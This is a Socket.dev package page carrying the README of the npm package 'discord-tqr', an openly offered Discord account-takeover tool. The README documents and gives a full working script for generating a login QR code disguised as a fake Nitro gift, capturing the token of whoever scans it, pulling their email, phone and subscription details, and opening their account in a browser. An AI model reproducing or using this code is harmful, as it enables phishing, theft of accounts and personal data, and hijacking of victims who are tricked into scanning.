Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

discord-tqr

Package Overview
Dependencies
Maintainers
1
Versions
5
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

discord-tqr

Generate QR code to get user token to take control of the account, get informations ...

  • 1.0.1
  • Source
  • npm
  • Socket score

Version published
Maintainers
1
Created
Source

Discord-tqr v1.0.0

Generate QR code to get user token to take control of the account, get informations ...

💻 Installation

$ npm i discord-tqr

📚 Usage

Import

import DiscordTQR from "discord-tqr";
//or
const DiscordTQR = require("discord-tqr").default;

API

const handler = new DiscordTQR();

Generate a QR Code

QR Code QR Code

options:

  • path?: string - Path where you want to save the QR code in png format
  • template?: "default" | { path: string, x?: number, y?: number, width?: number, height?: number } - If you want to apply a template to the QR code. With "default" you can create a fake nitro gift. You can also make a custom one with path for the template image and x, y, width, height for the x/y position of the QR code on the template and the width/height for the size of the QR code on the template.
  • wait?: number - If you have trouble when getting the QR Code you can wait full page loaded by setting a wait time in ms like 5000 (by default it's 0).
  • browserOptions?: any - Browser options for puppeter by default it's { headless: true, defaultViewport: null }

NOTE: With a template it's not a buffer but base64 string returned

//Generate a QR Code
const buffer = await handler.getQRCode(options?: {
    path?: string,
    browserOptions?: any,
    wait?: number,
    template?: "default" | { path?: string, x?: number, y?: number, width?: number, height?: number },
    encoding?: string
});
const base64 = buffer.toString("base64");

Listening for token

NOTE: This method work only if you launch "getQRCode" before

//Return the token in a string when the QR code is scanned
const token = await handler.listenForToken();

Get user informations

  • token?: string - The token of the user by default it's the token from listForToken method
//Return json object with user informations like subscription, email, phone, avatar, name ...
const user = await handler.getDiscordAccountInfo(token?: string);

Result:

{
  id: '...',
  username: '...',
  avatar: '...',
  avatar_decoration: null,
  discriminator: '...',
  public_flags: 0,
  flags: 0,
  banner: null,
  banner_color: null,
  accent_color: null,
  bio: '...',
  locale: 'fr',
  nsfw_allowed: true,
  mfa_enabled: false,
  email: '...',
  verified: true,
  phone: "...",
  user: '...#...',
  avatar_url: 'https://cdn.discordapp.com/avatars/...',
  subscription: [...]
}

Open user account

options:

  • token?: string - The token of the user by default it's the token from listForToken method
  • browserOptions?: any - Browser options for puppeter by default it's { headless: false, defaultViewport: null, args: ["--start-fullscreen"] }
//Open discord account in chromium with puppeteer
const [browser, page] = await handler.openDiscordAccount(options?: { token?: string, browserOptions?: any });

Close browser for QR code generation

//Close the browser used for generating the QR Code and for listenForToken
await handler.closeConnection();

Example

const path = require("path");
const DiscordTQR = require("discord-tqr").default;

(async function () {
  try {
    const handler = new DiscordTQR();

    console.log("Creating qr code...");
    await handler.getQRCode({
      path: path.resolve(__dirname, "./qr-with-template.png"),
      template: "default",
    });
    console.log("QR code created to ./qr-with-template.png !");

    console.log("Waiting for token...");
    await handler.listenForToken();
    console.log("Token: ", handler.token);

    console.log("Getting user informations...");
    await handler.getDiscordAccountInfo();
    console.log("User information:", handler.user);

    console.log("Opening user account...");
    const [browser, page] = await handler.openDiscordAccount();

    setTimeout(async () => {
      console.log("Closing opened browser...");
      await browser.close();
    }, 60000);

    console.log("Closing connection...");
    await handler.closeConnection();
  } catch (e) {
    console.log(e);
  }
})();

Keywords

FAQs

Package last updated on 23 Aug 2022

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc